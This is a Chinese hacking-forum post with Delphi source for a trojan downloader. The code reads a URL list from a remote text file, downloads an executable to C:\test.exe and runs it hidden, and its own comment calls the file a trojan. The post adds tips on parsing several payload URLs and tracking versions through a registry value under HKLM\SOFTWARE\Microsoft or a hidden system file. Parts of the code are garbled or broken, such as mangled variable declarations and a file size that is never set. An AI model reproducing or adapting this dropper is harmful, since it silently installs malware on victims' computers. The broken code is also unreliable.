HanDs
管理员

[Delphi文章] 读url下txt中的下载地址的简单下载者 



uses
urlmon,
wininet,
windows;

//取网页内容
function StrPas(const Str: PChar): string;
begin
Result := Str;
end;
function GetWebPage(const Url: string):string;
var
Session,
HttpFile:HINTERNET;
szSizeBufferointer;
dwLengthSizeBufferWord;
dwReservedWord;
dwFileSizeWord;
dwBytesRead:DWord;
ContentsChar;
begin
Session:=InternetOpen('',0,niL,niL,0);
HttpFile:=InternetOpenUrl(Session,PChar(Url),niL,0,0,0);
dwLengthSizeBuffer:=1024;
HttpQueryInfo(HttpFile,5,szSizeBuffer,dwLengthSizeBuffer,dwReserved);
GetMem(Contents,dwFileSize);
InternetReadFile(HttpFile,Contents,dwFileSize,dwBytesRead);
InternetCloseHandle(HttpFile);
InternetCloseHandle(Session);
Result:=StrPas(Contents);
FreeMem(Contents);
end;

//程序入口
var
downurl: string;
begin
downurl:= GetWebPage(pchar('http://192.168.84.3/down.txt';));
if UrlDownloadToFile(nil, Pchar(downurl), Pchar('C:\test.exe'), 0, nil)=0 then//如果成功下载并保存于C:\木马.exe 则执行下边代码.
begin
winexec('C:\test.exe',SW_HIDE);
end;
end.

可以稍做修改,将.txt中的地址设置为多条.一次将内容全部读取,然后再字符串处理,分离出每一个下载地址..

给出本人菜菜思路..
例如读取 txt 内容为:
txt:= |http://www.163.com/1.exe|http://www.baidu.com/2.exe|http://www.3.exe|
用到函数..
function GetChars(AString: string; fChar, EChar: char): String;
var
i, tmpPos: Integer;
begin
Result := '';
tmpPos := Pos(fChar, AString);
if tmpPos = 0 then
exit;
for i := tmpPos + 1 to Length(AString) do
begin
if AString = EChar then
break;
Result := Result + AString;
end;
end;
调用方法..
downurl1:= GetChars(txt,'|','|');

然后删除txt中从第一位到 downurl 长度 +1 处的内容..
接着继续提取 downurl2 的下载地址..

关于避免重复下载的方法.(更新自身比较有用)
可以通过写注册表值的方式,当然还有很多方法,例如本地保存一个txt文本记录版本号等等..
1,写注册表方式.
//保存大区在注册表项
function Setkey(s:pchar):boolean;
var
k1: hkey;
l: longint;
p: pchar;
begin
result:=false;
l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
l := regopenkey(k1, 'Microsoft', k1);
p := pchar(s);//(ParamStr(0));
l := regsetvalueEx(k1,'mutouqq', 0, 1, p, 255);
result:=true;
RegCloseKey(k1);
end;
//得到保存大区的值
function getkey:pchar;
var
k1: hkey;
l: longint;
s:array [0..255] of Char;
RegDataLen: DWORD;
RegValueType: DWORD;

begin
RegDataLen:=255;
RegValueType := REG_MULTI_SZ;
l := regopenkey(HKEY_LOCAL_MACHINE, 'SOFTWARE', k1);
l := regopenkey(k1, 'Microsoft', k1);
RegQueryValueEx(k1, 'mutouqq', nil, @RegValueType, PByte(@s), @RegDataLen);
result:=s;
RegCloseKey(k1);
end;

2,通过写txt保存版本号方式..最好将文本属性设置为系统,隐藏.呵呵..


//写一个记事本,有则复盖无则创建
procedure setLog(s,thetext : PChar);stdcall;
var
f:cardinal;
textsize:longint;
bytesred:dword;
begin
f:=createfile(s,generic_write,file_share_write,
nil,create_always,file_attribute_normal,0);
writefile(f, thetext^,length(thetext),bytesred,nil);
closehandle(f);
end;
//读取一个记事本的内容
function getLog(s : PChar):string;
var
f:cardinal;
textsize:longint;
bytesred:dword;
thetext:pchar;
begin
result:='';
f:=createfile(s,generic_read,file_share_read or file_share_write,
nil,open_always,file_attribute_normal,0);
//错误处理
if f=invalid_handle_value then exit;
//得到文件大小
textsize:= getfilesize(f,nil);
if textsize<=0 then exit;
//为thetext分配内存
getmem(thetext,textsize);
// 初始化缓冲区
fillmemory(thetext,textsize,0);
//设置指针
//setfilepointer(f,sizeof(textsize),nil,file_begin);
//读取
readfile(f,thetext^,textsize,bytesred,nil);
//返回结果
result:=thetext;
//释放内存
freemem(thetext);
//关闭文件
closehandle(f);
end;


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
u rl
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复